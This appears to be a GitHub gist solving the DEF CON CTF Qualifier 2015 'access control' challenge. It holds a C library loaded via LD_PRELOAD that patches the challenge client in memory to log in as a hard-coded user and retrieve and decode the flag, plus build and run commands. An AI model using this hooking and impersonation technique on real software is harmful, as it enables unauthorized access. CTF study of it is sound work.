Last active
August 29, 2015 14:21
-
-
Save shinh/19d448d47ba2b5492326 to your computer and use it in GitHub Desktop.
DEF CON CTF Qual 2015 access control
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/mman.h> | |
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <unistd.h> | |
int (*g_send_line)(const char*); | |
int (*g_enc_pass)(const char* i, char* o); | |
//#define USER "selir" | |
//#define USER "gynophage" | |
//#define USER "jymbolia" | |
//#define USER "mrvito" | |
//#define USER "sirgoon" | |
#define USER "duchess" | |
//#define USER "deadwood" | |
int twice = 0; | |
int send_key(const char* p) { | |
fprintf(stderr, "intercepted key: %s\n", p); | |
return g_send_line(p); | |
} | |
int send_user(const char* p) { | |
if (twice) { | |
send(3, "list users\n", 11, 0); | |
send(3, "print key\n", 10, 0); | |
while (1) { | |
char buf[4096]; | |
int r = recv(3, buf, 4095, 0); | |
fprintf(stderr, "receive %d\n", r); | |
if (r == 0) | |
break; | |
write(1, buf, r); | |
if (r == 25) { | |
char b[10] = {}; | |
memcpy(b, buf + 11, 5); | |
fprintf(stderr, "chal: %s\n", b); | |
memcpy((void*)0x804b46c, buf + 11, 5); | |
*(char*)0x804b471 = 0; | |
fprintf(stderr, "chal: %s\n", 0x804b46c); | |
*(int*)0x804b04c = 7; | |
((void(*)())0x8048c1d)(); | |
} | |
} | |
exit(0); | |
} | |
twice++; | |
fprintf(stderr, "original user: %s\n", p); | |
return g_send_line(USER "\n"); | |
} | |
int enc_pass(const char* i, char* o) { | |
fprintf(stderr, "original pass: %s\n", i); | |
return g_enc_pass(USER, o); | |
} | |
void hook(long addr, void* fn) { | |
long* p = (long*)(addr + 1); | |
*p = (long)fn - (addr + 5); | |
} | |
__attribute__((constructor)) static void init() { | |
fprintf(stderr, "adding hooks!\n"); | |
int r = mprotect((void*)0x08048000, 0x4000, PROT_READ | PROT_WRITE | PROT_EXEC); | |
if (r < 0) | |
abort(); | |
g_send_line = (int (*)(const char*))0x8048e3e; | |
g_enc_pass = (int (*)(const char* i, char* o))0x8048eab; | |
hook(0x8048945, send_user); | |
hook(0x80489ac, enc_pass); | |
hook(0x8048c9c, send_key); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
I didn't want to understand the protocol and how to encrypt password, | |
so I have just reused the client binary. I injected a few hooks by | |
LD_PRELOAD and changed the name of user. After the hooked client gets | |
logged in, the hooked function asks the server to send the encrypted | |
flag, and asks the original client binary to decode the flag by | |
jumping to 0x8048c1d. | |
$ gcc -m32 -std=gnu99 -g -o cl_redirect.so cl_redirect.c -shared -fPIC | |
$ LD_PRELOAD=./cl_redirect.so ./client_197010ce28dffd35bf00ffc56e3aeb9f XXX.XXX.XXX.XXX |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment